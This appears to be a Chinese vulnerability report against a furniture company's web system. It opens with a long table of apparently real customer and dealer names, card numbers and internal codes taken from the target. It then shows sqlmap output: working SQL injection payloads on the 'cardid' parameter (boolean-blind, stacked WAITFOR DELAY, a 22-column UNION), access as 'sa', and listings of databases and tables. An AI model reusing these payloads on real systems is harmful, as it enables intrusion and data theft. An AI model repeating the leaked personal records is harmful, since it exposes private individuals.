| 32067665296|张波 | 353 | 张波 | MZ1022341A |
| 32068433014|白云 | 49 | 白云 | MZ1021726A |
| 32091860317|何军 | 510 | 何军 | MZ1021258A |
| 32108171970|孙鹏飞 | 509 | 孙鹏飞 | MZ1020864A |
| 32119647910|姚喜坤 | 302 | 姚喜坤 | MZ1020839A |
| 32125627956|陈仕洧 | 237 | 陈仕洧 | MZ1021278A |
| 32125724900|陈国情 | 157 | 陈国情 | MZ1020851A |
| 32128309684|朱桃芬 | 447 | 朱桃芬 | MZ1022141A |
| 32131975125|陈善湘 | 560 | 陈善湘 | MZ1020863A |
| 32135829493|周建萍 | 652 | 周建萍 | MZ1021492A |
| 32996239443|苏州美誉居家具有限公司 | 352 | 苏州美誉居家具有限公司 |
MZ1021291A |
| 33015875308|王沈英 | 269 | 王沈英 | MZ1021151A |
| 33023316055|周伟民 | 477 | 周伟民 | MZ1021534A |
| 33139684289|吴琴 | 717 | 吴琴 | MZ1022348A |
| 34006653141|吴芝华 | 605 | 吴芝华 | MZ1020322A |
| 34009137580|方丽霞 | 149 | 安徽省黄山市祁门县掌上明珠家具生活馆(方遂顺)
| MZ1020713A |
| 34009996697|夏丽芳 | 31 | 夏丽芳 | MZ1020319A |
| 34017018665|刘文芳 | 479 | 刘文芳 | MZ1021737A |
| 34018610618|夏善丽 | 96 | 夏善丽 | MZ1021838A |
| 34021270251|范巩 | 433 | 范巩 | MZ1020271A |
| 34021822614|李丽 | 89 | 李丽 | MZ1020027A |
| 34022422851|朱翠云 | 86 | 朱翠云 | MZ1020281A |
| 34024408833|郁刚 | 377 | 郁刚 | MZ1020283A |
| 34029873461|蒋尚剑 | 376 | 蒋尚剑 | MZ1020273A |
| 34033716871|周德荣 | 122 | 周德荣 | MZ1021289A |
| 34034655151|陈英花 | 40 | 陈英花 | MZ1021424A |
| 34034764051|高洋洋 | 537 | 高洋洋 | MZ1022748A |
| 34036180346|杨传文 | 584 | 杨传文 | MZ1021670A |
| 34037801488|陈卓 | 85 | 陈卓 | MZ1020266A |
| 34040228249|操礼乾 | 553 | 操礼乾 | MZ1022916A |
| 34044050557|吴景新 | 42 | 吴景新 | MZ1022237A |
| 34044069425|李俊 | 37 | 李俊 | MZ1021361A |
| 34044090313|马雪勤 | 41 | 马雪勤 | MZ1020267A |
| 34044235753|吴雪琴 | 206 | 吴雪琴 | MZ1022008A |
| 34044241073|程家文 | 161 | 程家文 | MZ1021953A |
| 34044291721|易后艮 | 428 | 易后艮 | MZ1022210A |
| 34044304045|崔莹 | 173 | 崔莹 | MZ1022492A |
| 34044311834|刘芳 | 420 | 刘芳 | MZ1020074A |
| 34044412616|韩东勤 | 230 | 韩东勤 | MZ1021472A |
| 34044719179|陈维龙 | 380 | 陈维龙 | MZ1022846A |
| 34044737444|孙明君 | 355 | 孙明君 | MZ1020098A |
| 34045007656|梁杰 | 387 | 梁杰 | MZ1022010A |
| 34045048139|张波 | 466 | 张波 | MZ1022022A |
| 34045077352|胡伟 | 408 | 胡伟 | MZ1022879A |
| 34045079241|沈爱舒 | 405 | 沈爱舒 | MZ1022174A |
| 34045101143|谢程节 | 413 | 谢程节 | MZ1021721A |
| 34045200713|张健 | 462 | 张健 | MZ1021115A |
| 34045213724|马平 | 439 | 马平 | MZ1020701A |
| 34045476215|邓婷婷 | 468 | 邓婷婷 | MZ1022707A |
| 34046156733|王会元 | 506 | 王会元 | MZ1022810A |
| 34046158515|黄仁凤 | 676 | 黄仁凤 | MZ1020714A |
| 34046679850|全永华 | 546 | 全永华 | MZ1020002A |
| 34047363238|薛伟 | 573 | 薛伟 | MZ1021659A |
| 34047689246|刘和春 | 593 | 刘和春 | MZ1022769A |
| 34047812152|汪伟伟 | 588 | 汪伟伟 | MZ1022495A |
| 34056508677|王文芳 | 698 | 王文芳 | MZ1021173A |
| 34057577944|万晓 | 708 | 万晓 | MZ1023076A |
| 34060617969|孙卫东 | 631 | 孙卫东 | MZ1022924A |
| 34998918364|青阳县尚品家具广场 | 606 | 青阳县尚品家具广场 |
MZ1022394A |
| 35002390729|朱康伟 | 410 | 朱康伟 | MZ1022004A |
| 35003459813|韩利民 | 375 | 韩利民 | MZ1021251A |
| 35009568577|上官诚亮 | 496 | 上官诚亮 | MZ1021542A |
| 35019664670|徐小庆 | 370 | 徐小庆 | MZ1021309A |
| 35021768337|李小泉 | 392 | 李小泉 | MZ1022143A |
| 35025751750|桓茂兴 | 398 | 桓茂兴 | MZ1021162A |
| 35027452934|陈玲玲 | 248 | 陈玲玲 | MZ1022120A |
| 35030878755|李金玉 | 395 | 李金玉 | MZ1020318A |
| 35038081368|杨成龙 | 399 | 杨成龙 | MZ1022138A |
| 35040230317|刘义节 | 597 | 刘义节 | MZ1022759A |
| 35048806384|陈祖颢 | 633 | 陈祖颢 | MZ1021610A |
| 35050533793|赵庆 | 602 | 赵庆 | MZ1020076A |
| 35050595347|李琼渊 | 645 | 李琼渊 | MZ1022160A |
| 35056277014|陈楚 | 710 | 陈楚 | MZ1023151A |
| 35999886188|将乐县新世界家具城 | 650 | 将乐县新世界家具城 |
MZ1020067A |
| 36005390089|杨永富 | 519 | 杨永富 | MZ1020678A |
| 36005391722|漆娟 | 589 | 漆娟 | MZ1021245A |
| 36006053040|申慧敏 | 70 | 申慧敏 | MZ1020696A |
| 36012296999|张美蓉 | 640 | 张美蓉 | MZ1022410A |
| 36014923665|丰国强 | 262 | 丰国强 | MZ1020681A |
| 36014965633|赵国强 | 532 | 赵国强 | MZ1021206A |
| 36015899097|王勇 | 239 | 王勇 | MZ1020314A |
| 36016773430|钟冬儿 | 668 | 钟冬儿 | MZ1020679A |
| 36018910311|董爱贞 | 215 | 董爱贞 | MZ1022086A |
| 36019992962|李淑芸 | 367 | 李淑芸 | MZ1021612A |
| 36021070417|章淑娟 | 277 | 章淑娟 | MZ1022119A |
| 36022281328|江顺舟 | 604 | 江顺舟 | MZ1021884A |
| 36023643402|邱涛 | 416 | 邱涛 | MZ1022142A |
| 36028609061|朱群香 | 521 | 朱群香 | MZ1022472A |
| 36029729181|车德仿 | 619 | 车德仿 | MZ1020690A |
| 36029977839|黄革辉 | 444 | 黄革辉 | MZ1021676A |
| 36029989347|邹海亮 | 349 | 邹海亮 | MZ1022775A |
| 36030573238|陈波萍 | 476 | 陈波萍 | MZ1022766A |
| 36030721720|余国勇 | 616 | 余国勇 | MZ1021156A |
| 36030971078|梁茂山 | 531 | 梁茂山 | MZ1022952A |
| 36031201812|柳希 | 556 | 柳希 | MZ1022081A |
| 36031877241|郭民 | 598 | 郭民 | MZ1020700A |
| 36032479244|龙华生 | 637 | 龙华生 | MZ1020677A |
| 36032501592|徐宗德 | 621 | 徐宗德 | MZ1020698A |
| 36032503803|潘秋琴 | 618 | 潘秋琴 | MZ1021400A |
| 36032505510|黎维金 | 723 | 黎维金 | MZ1022243A |
| 36032580851|贺尧平 | 628 | 贺尧平 | MZ1022951A |
| 36033186385|刘华 | 678 | 刘华 | MZ1022356A |
| 37003915845|刘伟 | 51 | 刘伟 | MZ1022408A |
| 37007817170|曹晓红 | 54 | 曹晓红 | MZ1020238A |
| 37015791192|李建校 | 644 | 李建校 | MZ1023003A |
| 37023869981|崔振明 | 224 | 崔振明 | MZ1021223A |
| 37025409743|侯西利 | 52 | 侯西利 | MZ1020097A |
| 37031402020|章会 | 130 | 章会 | MZ1020263A |
| 37038754177|孔桥 | 8 | 孔桥 | MZ1020297A |
| 37044782493|于敦凯 | 108 | 于敦凯 | MZ1021847A |
| 37045692807|邵金玲 | 50 | 邵金玲 | MZ1021706A |
| 37052153561|田烈民 | 72 | 田烈民 | MZ1021487A |
| 37056814474|邓撰法 | 48 | 邓撰法 | MZ1020202A |
| 37056832195|肖素娟 | 123 | 肖素娟 | MZ1021316A |
| 37069124414|蔡祥孟 | 393 | 蔡祥孟 | MZ1020122A |
| 37071239615|张长艳 | 694 | 张长艳 | MZ1021408A |
| 37073957398|宋乾坤 | 369 | 宋乾坤 | MZ1020170A |
| 37076951264|李凤荣 | 322 | 李凤荣 | MZ1020301A |
| 37077253247|孙奉年 | 278 | 孙奉年 | MZ1020186A |
| 37077481153|任友祥 | 435 | 任友祥 | MZ1020099A |
| 37078625106|霍瑞新 | 107 | 霍瑞新 | MZ1022007A |
| 37082496973|赵娟 | 503 | 赵娟 | MZ1021038A |
| 37083206610|徐博 | 62 | 徐博 | MZ1020210A |
| 37084272735|魏新安 | 30 | 魏新安 | MZ1020313A |
| 37084558060|孙建博 | 627 | 孙建博 | MZ1021625A |
| 37095000266|蒋义 | 69 | 蒋义 | MZ1020246A |
| 37096845934|梁静静 | 706 | 梁静静 | MZ1023100A |
| 37106051421|唐敬亭 | 431 | 唐敬亭 | MZ1022694A |
| 37106287472|李德强 | 57 | 李德强 | MZ1021652A |
| 37106378221|乔玉珍 | 112 | 乔玉珍 | MZ1021065A |
| 37106520947|窦海玲 | 160 | 窦海玲 | MZ1020296A |
| 37106796647|吴纪梅 | 186 | 吴纪梅 | MZ1020162A |
| 37107263273|张欣 | 338 | 张欣 | MZ1021208A |
| 37107831377|张伟 | 334 | 张伟 | MZ1022015A |
| 37110185638|陈朝妹 | 524 | 陈朝妹 | MZ1020262A |
| 37110648082|齐连国 | 491 | 齐连国 | MZ1020245A |
| 37114798007|钱文卿 | 587 | 钱文卿 | MZ1022926A |
| 37114865434|曹必贵 | 590 | 曹必贵 | MZ1022912A |
| 37130111184|丁贺新 | 93 | 丁贺新 | MZ1021637A |
| 37999190882|利津县金洲装饰工程有限责任公司 | 707 | 利津县金洲装饰工程有限责任公司
| MZ1022791A |
| 41007773836|倪海峰 | 128 | 倪海峰 | MZ1021086A |
| 41012584509|闫丽红 | 586 | 闫丽红 | MZ1021404A |
| 41028560379|曾召明 | 4 | 曾召明 | MZ1020960A |
| 41032872504|李延明 | 225 | 李延明 | MZ1021340A |
| 41033274551|张彦凯 | 359 | 张彦凯 | MZ1021849A |
| 41035296991|马海涛 | 144 | 马海涛 | MZ1020964A |
| 41037846017|罗宗伟 | 136 | 罗宗伟 | MZ1021596A |
| 41041832599|齐海英 | 119 | 齐海英 | MZ1020915A |
| 41042802509|陈学勤 | 391 | 陈学勤 | MZ1021792A |
| 41042812467|侯丽 | 63 | 侯丽 | MZ1022362A |
| 41044931497|耿晓敏 | 75 | 耿晓敏 | MZ1021113A |
| 41045183857|张胜伟 | 129 | 张胜伟 | MZ1021636A |
| 41053067879|杨俊豪 | 533 | 杨俊豪 | MZ1022536A |
| 41053252404|刘丹 | 187 | 刘丹 | MZ1020954A |
| 41054136772|唐玉平 | 227 | 唐玉平 | MZ1020919A |
| 41055187857|封明昌 | 540 | 封明昌 | MZ1020939A |
| 41055442889|郑云龙 | 134 | 郑云龙 | MZ1022703A |
| 41056040145|毕正锋 | 464 | 毕正锋 | MZ1022221A |
| 41057732311|杜艳 | 5 | 杜艳 | MZ1021765A |
| 41058516160|吴秀霞 | 267 | 吴秀霞 | MZ1022125A |
| 41058709814|刘家明 | 288 | 刘家明 | MZ1020953A |
| 41059560835|李海广 | 643 | 李海广 | MZ1022498A |
| 41060041246|程建国 | 202 | 程建国 | MZ1021753A |
| 41060069884|方艳 | 467 | 方艳 | MZ1022157A |
| 41060319601|刘方 | 579 | 刘方 | MZ1022574A |
| 41060375033|代艳林 | 665 | 代艳林 | MZ1020958A |
| 41060499205|王彦凯 | 489 | 王彦凯 | MZ1021241A |
| 41060712376|杨中杰 | 507 | 杨中杰 | MZ1020212A |
| 41060975677|刘志高 | 543 | 刘志高 | MZ1020928A |
| 41061847677|张腾辉 | 564 | 张腾辉 | MZ1022542A |
| 41061870016|霍明显 | 418 | 霍明显 | MZ1020923A |
| 41062054651|杨文龙 | 566 | 杨文龙 | MZ1022813A |
| 41062555790|付军 | 583 | 付军 | MZ1020959A |
| 41062877889|韩红欣 | 591 | 韩红欣 | MZ1022575A |
| 41064098988|李勇 | 624 | 李勇 | MZ1022760A |
| 41064646399|杨炯 | 300 | 杨炯 | MZ1022521A |
| 41065726249|郭素娟 | 662 | 郭素娟 | MZ1020929A |
| 41065889203|丁立斌 | 670 | 丁立斌 | MZ1022776A |
| 41065993921|翟俊丽 | 332 | 翟俊丽 | MZ1020947A |
| 41066851459|李焱 | 683 | 李焱 | MZ1022354A |
| 41070058182|付广明 | 699 | 付广明 | MZ1023066A |
| 41998383653|灵宝市鸿业家俱有限责任公司 | 709 | 灵宝市鸿业家俱有限责任公司
| MZ1021520A |
| 41999493815|舞钢市掌上明珠家具生活馆 | 434 | 舞钢市掌上明珠家具生活馆
| MZ1021523A |
| 41999648254|宜阳幸福树电器有限公司 | 437 | 宜阳幸福树电器有限公司 |
MZ1020165A |
| 42001492109|彭子家 | 411 | 彭子家 | MZ1020151A |
| 42008875811|赵保国 | 374 | 赵保国 | MZ1022417A |
| 42018856687|雷波 | 343 | 雷波 | MZ1021703A |
| 42024204721|李玉莉 | 382 | 李玉莉 | MZ1021084A |
| 42029636979|向红军 | 685 | 向红军 | MZ1022896A |
| 42029933888|成敏 | 548 | 成敏 | MZ1021631A |
| 42032888757|黄桥 | 700 | 黄桥 | MZ1022450A |
| 42033331549|杨天一 | 287 | 杨天一 | MZ1020885A |
| 42035517436|曹丽 | 364 | 曹丽 | MZ1021606A |
| 42035601065|王永凡 | 549 | 王永凡 | MZ1020880A |
| 42035963613|余绍文 | 362 | 余绍文 | MZ1021824A |
| 42036986268|夏泽想 | 485 | 夏泽想 | MZ1021546A |
| 42037376575|万莉 | 255 | 万莉 | MZ1020123A |
| 42038808650|蔡青 | 634 | 蔡青 | MZ1022767A |
| 42040237623|程胜 | 601 | 程胜 | MZ1022886A |
| 42047048453|杨昆 | 691 | 杨昆 | MZ1022502A |
| 42047994771|何立玲 | 626 | 何立玲 | MZ1022511A |
| 42051892523|肖宏华 | 166 | 肖宏华 | MZ1021887A |
| 42051987514|马捷 | 222 | 马捷 | MZ1021263A |
| 42052178427|许彩云 | 409 | 许彩云 | MZ1021273A |
| 42052226218|廖亚清 | 365 | 廖亚清 | MZ1021627A |
| 42052330358|徐文艺 | 501 | 徐文艺 | MZ1022301A |
| 42052800187|张素珍 | 474 | 张素珍 | MZ1020886A |
| 42052842600|倪慧明 | 78 | 倪慧明 | MZ1020908A |
| 42053541102|汪育义 | 499 | 汪育义 | MZ1020870A |
| 42057333331|陈官芝 | 656 | 陈官芝 | MZ1020114A |
| 42999197572|建始县欣联友百货有限公司 | 689 | 建始县欣联友百货有限公司
| MZ1022768A |
| 43000363424|罗海波 | 25 | 罗海波 | MZ1020399A |
| 43000473380|彭文萍 | 11 | 彭文萍 | MZ1020363A |
| 43003075993|张秀英 | 330 | 张秀英 | MZ1020377A |
| 43014136445|王朝辉 | 341 | 王朝辉 | MZ1020367A |
| 43015446950|蒋纬 | 611 | 蒋纬 | MZ1023000A |
| 43017946411|曹根玉 | 35 | 曹根玉 | MZ1020417A |
| 43018537764|熊恋 | 236 | 熊恋 | MZ1020391A |
| 43023240683|唐小琼 | 43 | 唐小琼 | MZ1021020A |
| 43023628863|陈小平 | 12 | 陈小平 | MZ1020413A |
| 43023853501|涂贤城 | 661 | 涂贤城 | MZ1021257A |
| 43023936026|陆红霞 | 217 | 陆红霞 | MZ1021275A |
| 43034382622|易冬莲 | 298 | 易冬莲 | MZ1020403A |
| 43035266320|杨迎 | 16 | 杨迎 | MZ1022474A |
| 43035676058|吴奇 | 309 | 吴奇 | MZ1020177A |
| 43039998945|罗辉 | 297 | 罗辉 | MZ1022434A |
| 43041241928|向美英 | 33 | 向美英 | MZ1022692A |
| 43041259963|张圆 | 76 | 张圆 | MZ1020176A |
| 43041282659|陈宏 | 58 | 陈宏 | MZ1020365A |
| 43041378903|易志军 | 45 | 易志军 | MZ1020366A |
| 43042376162|谌龙楚 | 385 | 谌龙楚 | MZ1022871A |
| 43043037721|陶智多 | 471 | 陶智多 | MZ1022014A |
| 43043262972|刘文波 | 421 | 刘文波 | MZ1022780A |
| 43043605221|李辉 | 538 | 李辉 | MZ1022346A |
| 43044532514|朱峰宁 | 569 | 朱峰宁 | MZ1022436A |
| 43049845996|周小华 | 696 | 周小华 | MZ1020364A |
| 43050093633|李继珍 | 701 | 李继珍 | MZ1022181A |
| 43052366111|荣雅莉 | 719 | 荣雅莉 | MZ1023173A |
| 43052534312|蒋巧文 | 722 | 蒋巧文 | MZ1023177A |
| 43999610952|衡山县新明家具超市 | 629 | 衡山县新明家具超市 |
MZ1020402A |
| 43999813621|望城县高塘岭镇新世界家具广场 | 563 | 望城县高塘岭镇新世界家具广场
| MZ1020392A |
| 45006357948|唐治波 | 83 | 唐治波 | MZ1022512A |
| 45012334534|梁媛 | 372 | 梁媛 | MZ1022347A |
| 45017466803|杨传程 | 273 | 杨传程 | MZ1021529A |
| 45021564221|蔡桂英 | 254 | 蔡桂英 | MZ1020340A |
| 45031239517|廖国焕 | 594 | 廖国焕 | MZ1020347A |
| 45032797621|熊志江 | 497 | 熊志江 | MZ1020336A |
| 45038826185|田宜江 | 169 | 田宜江 | MZ1022167A |
| 45038908397|李星文 | 356 | 李星文 | MZ1020337A |
| 45040637140|陈胜 | 143 | 陈胜 | MZ1020358A |
| 45042536051|丘志明 | 265 | 丘志明 | MZ1020106A |
| 45042962909|黄海琴 | 256 | 黄海琴 | MZ1021996A |
| 45042973849|吴静华 | 304 | 吴静华

漏洞证明:

直接上图吧

1.png

2.png

4.jpg

5.png

11..png

32.png

13.jpg

9.png

6.jpg

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cardid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cardid=384343' AND 3859=3859 AND 'eUGT'='eUGT
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: cardid=384343';WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 22 columns
Payload: cardid=-1981' UNION ALL SELECT 38,38,38,38,38,CHAR(113)+CHAR(118)+C
HAR(106)+CHAR(106)+CHAR(113)+CHAR(102)+CHAR(88)+CHAR(88)+CHAR(100)+CHAR(119)+CHA
R(75)+CHAR(113)+CHAR(82)+CHAR(87)+CHAR(106)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(1
20)+CHAR(113),38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38--
---
[22:31:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[22:31:18] [INFO] fetching database names
[22:31:18] [INFO] the SQL query used returns 28 entries
[22:31:18] [INFO] retrieved: BizDB
[22:31:19] [INFO] retrieved: CinderellaOA_WorkFlow
[22:31:19] [INFO] retrieved: CINDERELLAW2
[22:31:19] [INFO] retrieved: d:\\\\
[22:31:19] [INFO] retrieved: dnt31
[22:31:19] [INFO] retrieved: e:\\\\uldb
[22:31:20] [INFO] retrieved: e:\\\\uu
[22:31:20] [INFO] retrieved: FM_STATIC
[22:31:20] [INFO] retrieved: iBAMDB
[22:31:20] [INFO] retrieved: JIXIAODB
[22:31:20] [INFO] retrieved: master
[22:31:21] [INFO] retrieved: MobileClient
[22:31:21] [INFO] retrieved: model
[22:31:21] [INFO] retrieved: msdb
[22:31:21] [INFO] retrieved: mz
[22:31:22] [INFO] retrieved: ReportServer
[22:31:22] [INFO] retrieved: ReportServerTempDB
[22:31:22] [INFO] retrieved: SurveyProject
[22:31:22] [INFO] retrieved: tempdb
[22:31:22] [INFO] retrieved: UltClientBF
[22:31:23] [INFO] retrieved: UltClientDB
[22:31:23] [INFO] retrieved: UltimusDB_0512
[22:31:23] [INFO] retrieved: UltimusDB_0512
[22:31:23] [INFO] retrieved: UltimusDB_Archive
[22:31:24] [INFO] retrieved: UltimusiBAM
[22:31:24] [INFO] retrieved: UltimusTest
[22:31:24] [INFO] retrieved: ULTSMS
[22:31:24] [INFO] retrieved: UPLOADLITE
available databases [27]:
[*] BizDB
[*] CinderellaOA_WorkFlow
[*] CINDERELLAW2
[*] d:\\
[*] dnt31
[*] e:\\uldb
[*] e:\\uu
[*] FM_STATIC
[*] iBAMDB
[*] JIXIAODB
[*] master
[*] MobileClient
[*] model
[*] msdb
[*] mz
[*] ReportServer
[*] ReportServerTempDB
[*] SurveyProject
[*] tempdb
[*] UltClientBF
[*] UltClientDB
[*] UltimusDB_0512
[*] UltimusDB_Archive
[*] UltimusiBAM
[*] UltimusTest
[*] ULTSMS
[*] UPLOADLITE
current user: 'sa'
current database: 'UltClientDB'
Database: UltClientDB
[470 tables]
+-------------------------------------+
| ABC_GX_TABLE |
| ABC_NO_TABLE |
| ABC_TRANSFER |
| ABC_USER_INFO |
| Acces_AboutUs |
| Acces_Infor |
| Acces_News |
| Acces_OrderInfor |
| Branch_lsz_syqk |
| CreativeSpace_InnovationArticle |
| CreativeSpace_InnovationComment |
| CreativeSpace_InnovationExpert |
| CreativeSpace_InnovationInfo |
| CreativeSpace_Innovationtyle |
| CreativeSpace_LXSQLCInfo |
| CreativeSpace_LXSQLCInfo |
| CreativeSpace_PrizeExchange |
| CreativeSpace_PrizeExchange |
| CreativeSpace_StormPrize |
| CreativeSpace_TianAn |
| CreativeSpace_XMYSLC_Employee |
| CreativeSpace_XMYSLC_Employee |
| CreativeSpace_XMYSLC_WCQK |
| CreativeSpace_employeeSms |
| CustMgrInfo |
| Eff_FactoryCalendar |
| Eff_Result |
| Eff_ReturnStep |
| Eff_StepStand |
| Eff_TaskOverDue |
| Eff_WorkTime |
| Hys_lsjl |
| Hys_message |
| Join_CROOTA |
| Join_CityInfo |
| Join_CompeteBrand |
| Join_IntentionClient |
| Join_IntentionStoresInfo |
| Join_NowStoresInfo |
| Join_PromotionTrends |
| Join_S_City |
| Join_S_Custom_District |
| Join_S_District |
| Join_S_Province |
| Join_StrangeClient |
| Join_Visit |
| Join_tempCityState |
| MarketingGarden_Article |
| MarketingGarden_Comment |
| MarketingGarden_File |
| MarketingGarden_Manage |
| MobileClient_Classification |
| MobileClient_Control |
| MobileClient_Process |
| MobileClient_StepControl |
| MobileClient_StepControl |
| NeedPicTb |
| Oper_AdsPublish |
| Oper_AnnualCostMain |
| Oper_AnnualOperationMain |
| Oper_AnnualSalesMain |
| Oper_BrandingPlan |
| Oper_BudgetStratege |
| Oper_City |
| Oper_CompetitorCompareFx |
| Oper_CompetitorCompareFx |
| Oper_CompetitorMain |
| Oper_District |
| Oper_EmpPerformanceSummary |
| Oper_EmpTrain |
| Oper_Expense |
| Oper_HRPlan |
| Oper_Inventory |
| Oper_MonthlySales |
| Oper_MonthlySummary |
| Oper_MonthlyWorkSummary |
| Oper_OtherPlans |
| Oper_OveralHRStrategy |
| Oper_OverallBrandStrategy |
| Oper_PricingStrategy |
| Oper_ProblemSolution |
| Oper_PromotionPlan |
| Oper_PromotionStrategy |
| Oper_PromotionSummary |
| Oper_Self |
| Oper_ServiceEnhanceStrategy |
| Oper_StoreImage |
| Oper_StoreImageStrategy |
| Oper_Syb |
| Oper_Syfx |
| Oper_TaskBreakDown |
| Oper_ThreeRollPlanMain |
| Oper_TrainPlan |
| Oper_WeeklyActivity |
| Oper_WeeklyMain |
| Oper_WeeklyProject |
| Oper_Zdlsqk |
| PI_ActualValue |
| PI_Basic |
| PI_PerformIndex |
| Pro_YXSB_BF |
| Pro_YXSB_BF |
| Pro_YXSB_Item |
| Proc_Attachments |
| Proc_CPXQ |
| Proc_CPXX |
| Proc_CPYF_Detail |
| Proc_CPYF_Detail |
| Proc_CPYF_YFRW |
| Proc_CXLLC_WLLC |
| Proc_CX_BranchPromotion_History |
| Proc_CX_BranchPromotion_History |
| Proc_CX_CPGH_Atta |
| Proc_CX_CPGH_Atta |
| Proc_CX_CPGH_Store_Desc |
| Proc_CX_CPGH_Store_Desc |
| Proc_CX_CPGH_Store_Sample |
| Proc_CX_FYBX |
| Proc_CX_HD |
| Proc_CX_Product |
| Proc_CX_WL11 |
| Proc_CX_WLName |
| Proc_CX_WLOtherInfor |
| Proc_CX_WLRequirement |
| Proc_CX_WL_Branch |
| Proc_CX_WL_Branch |
| Proc_CX_WL_Materials |
| Proc_CX_XC |
| Proc_DZCL |
| Proc_Enum |
| Proc_JDJL_ITEM |
| Proc_JDLC_Desc |
| Proc_JDLC_Desc |
| Proc_JDLC_StyleList |
| Proc_JD_DPQD |
| Proc_NewStore |
| Proc_Processes_DepartmentWork |
| Proc_Processes_Name |
| Proc_Processes_Role |
| Proc_Processes_Step |
| Proc_QDGL_JDJL_RewardInformation |
| Proc_QDGL_JDJL_RewardInformation |
| Proc_QDGL_KYFK |
| Proc_QDGL_QD |
| Proc_QDGL_SPFF_AccessoriesDetail |
| Proc_QDGL_SPFF_AccessoriesDetail |
| Proc_QDGL_SPFF_MatDetail |
| Proc_QDGL_ZXFK_CustomerInformation |
| Proc_QDGL_ZXFK_CustomerInformation |
| Proc_QDJC_CPCL |
| Proc_QDJC_DMSJ |
| Proc_QDJC_DMYS |
| Proc_QDJC_DPQD |
| Proc_QDJC_DPZG |
| Proc_QDJC_KYFK |
| Proc_QDJC_SPCL |
| Proc_QDJC_SPPF_SPQD |
| Proc_QDJC_SPPF_SPQD |
| Proc_QDJC_WLPF |
| Proc_QDJC_WLTH |
| Proc_QDJC_ZSJM |
| Proc_QDJC_ZXFK |
| Proc_QDJC_ZXJL |
| Proc_Receip_Config |
| Proc_Sync_BPM流程修改申请 |
| Proc_Sync_CXSLZJ |
| Proc_Sync_CXWLDJ |
| Proc_Sync_CXWLFHD |
| Proc_Sync_CXWLSJ |
| Proc_Sync_Copy_Of_装修支持 |
| Proc_Sync_Copy_Of_装修支持V2 |
| Proc_Sync_FGSZJ |
| Proc_Sync_JXFX |
| Proc_Sync_NewProcess2 |
| Proc_Sync_NewProcess2 |
| Proc_Sync_OEM产品数据创建流程 |
| Proc_Sync_ZLXXHZ |
| Proc_Sync_ZSJM_ |
| Proc_Sync_三年滚动发展规划 |
| Proc_Sync_下研发任务书 |
| Proc_Sync_专卖店整改流程 |
| Proc_Sync_专卖店运营流程 |
| Proc_Sync_举报事项流程 |
| Proc_Sync_产品下线流程 |
| Proc_Sync_产品和饰品陈列 |
| Proc_Sync_产品定额流程 |
| Proc_Sync_产品实样流程 |
| Proc_Sync_产品打样流程 |
| Proc_Sync_产品批量试制流程 |
| Proc_Sync_产品技术与定额流程 |
| Proc_Sync_产品技术与定额流程V2 |
| Proc_Sync_产品技术研讨流程 |
| Proc_Sync_产品推广流程 |
| Proc_Sync_产品规划 |
| Proc_Sync_产品规划V1 |
| Proc_Sync_产品设计流程 |
| Proc_Sync_产品试制流程 |
| Proc_Sync_产品配置变更流程 |
| Proc_Sync_产品陈列 |
| Proc_Sync_价格调整流程 |
| Proc_Sync_价格调整流程v1 |
| Proc_Sync_低易品申请流程 |
| Proc_Sync_供应链中心预算流程 |
| Proc_Sync_促销产品需求流程 |
| Proc_Sync_促销宣传 |
| Proc_Sync_促销平面v1 |
| Proc_Sync_促销广宣v1 |
| Proc_Sync_促销活动 |
| Proc_Sync_促销物料单据 |
| Proc_Sync_促销物料发货单 |
| Proc_Sync_促销物料数据 |
| Proc_Sync_促销物料采购发放流程V1 |
| Proc_Sync_关键任务流程 |
| Proc_Sync_内部差旅费报销 |
| Proc_Sync_分公司促销方案及费用申请流程v1 |
| Proc_Sync_分公司促销活动方案报销流程v1 |
| Proc_Sync_分公司促销活动方案签批和报审流程 |
| Proc_Sync_分公司促销活动方案签批和报审流程v1 |
| Proc_Sync_分公司促销活动方案签批和报审流程v2 |
| Proc_Sync_分公司促销活动签批流程 |
| Proc_Sync_分公司促销费用报销流程v1 |
| Proc_Sync_分公司费用报销 |
| Proc_Sync_创意空间流程 |
| Proc_Sync_创意空间流程V1 |
| Proc_Sync_加工问题反馈流程 |
| Proc_Sync_加工问题反馈流程V2 |
| Proc_Sync_原材料检验流程 |
| Proc_Sync_原材料申请放行流程 |
| Proc_Sync_原材料问题反馈改进流程 |
| Proc_Sync_原材料问题反馈改进流程V2 |
| Proc_Sync_原材料问题流程 |
| Proc_Sync_反馈信息处理流程 |
| Proc_Sync_发文流程申请流程 |
| Proc_Sync_发文申请流程 |
| Proc_Sync_发文申请流程V1 |
| Proc_Sync_叶强测试 |
| Proc_Sync_呆滞品处理流程 |
| Proc_Sync_周计划 |
| Proc_Sync_固定资产减少报废流程 |
| Proc_Sync_固定资产减少流程 |
| Proc_Sync_固定资产申请流程 |
| Proc_Sync_固定资产转移流程 |
| Proc_Sync_在线交流 |
| Proc_Sync_培训申请流程 |
| Proc_Sync_培训申请流程V2 |
| Proc_Sync_外观门头设计流程 |
| Proc_Sync_外观门头设计管理流程 |
| Proc_Sync_外门头设计及返款流程 |
| Proc_Sync_审计信箱流程 |
| Proc_Sync_宿舍申请流程 |
| Proc_Sync_工艺问题反馈与改进流程 |
| Proc_Sync_工艺问题反馈与改进流程V2 |
| Proc_Sync_常规物料申请 |
| Proc_Sync_常规物料申请流程 |
| Proc_Sync_常规物料申请流程V2 |
| Proc_Sync_平面文件设计流程 |
| Proc_Sync_年度促销产品规划 |
| Proc_Sync_床垫申报流程 |
| Proc_Sync_店铺取缔 |
| Proc_Sync_店铺取缔流程 |
| Proc_Sync_店铺整改 |
| Proc_Sync_店面设计 |
| Proc_Sync_店面验收 |
| Proc_Sync_建店奖励 |
| Proc_Sync_建店奖励V2 |
| Proc_Sync_建店奖励流程 |
| Proc_Sync_建店奖励流程V2 |
| Proc_Sync_建店流程 |
| Proc_Sync_建店流程V2 |
| Proc_Sync_开业反款 |
| Proc_Sync_开业支持流程 |
| Proc_Sync_开业支持流程V2 |
| Proc_Sync_开业爆破支持流程 |
